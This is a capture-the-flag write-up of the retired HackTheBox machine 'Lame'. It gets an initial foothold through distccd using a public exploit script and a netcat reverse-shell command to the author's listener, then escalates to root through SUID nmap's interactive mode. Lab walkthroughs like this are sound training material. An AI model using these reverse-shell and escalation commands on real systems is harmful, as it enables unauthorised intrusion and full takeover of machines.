HackTheBox - Lame - Retired - Updated

HackTheBox - Lame - Retired 

Recon

I've been using threader3000 to do my recon scans. It's a threaded scanner written in python. It does a super quick up/down scan all TCP ports then suggests an nmap scan to run against just the ports it found open. It saves all outputs so it's easy to keep a record.

Then I convert the output to HTML to make it pretty.

xsltproc ./lame.htb/lame.htb.xml -o ./lame.html

So we have ports 21,22, 139, 445 and 3632 open. Nmap thinks it's an ubuntu box.

Port 21 vsftpd 2.3.4 Port 22 OpenSSH 4.7p1 Port 139 SMB Port 445 SMB Port 3632 distccd 1

We know about a lot of those ports as pretty generic ports for computers but what is distccd?

Interesting,

Let's check out low hanging fruit first.

Port 21  FTP

Well it is open to anonymous access but no thing is being served here.

Ports 139 & 445 smb

No dice there either…

Ok what about that compiler thing we found distcc

I google for an exploit for distcc and there looks like there is a metasploit module available that we could leverage.

I'm trying not to rely on metasploit so I kept looking around and came across this.

https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855

This part makes it feel like cheating, but also so does really any pre-built exploit :)

Exploit

Let's give it a shot.

I save the python script on my kali box and named it lame.py

I started up a listener on port 5555

nc -lnvp 5555

So modifying the above for our purposes would look like this.

python ./lame.py -t 10.10.10.3 -p 3632 -c "nc 10.10.14.19 5555 -e /bin/bash"

And checking back on our listener.

We've got a kind of shell here.

Let's try to fix that with python

python -c 'import pty; pty.spawn("/bin/bash")'

Better, but now we need to escalate

Well we can already read the user flag from /home/makis

I spent some time trying some different exploits and didn't get anywhere.

I tried looking for config files on the box and I couldn't get to sudo -L without a password.

Eventually i looked at suid files to see if there was something we could abuse.

find . -perm /4000

One that I knew there was a gtfobin for and jumped out immediately to me 

Nmap, this box has nmap

https://gtfobins.github.io/gtfobins/nmap/

We should be able to start nmap interactively and jump to a shell as root.

nmap --interactive

Then we can jump to a shell with

!sh

And there we are as root.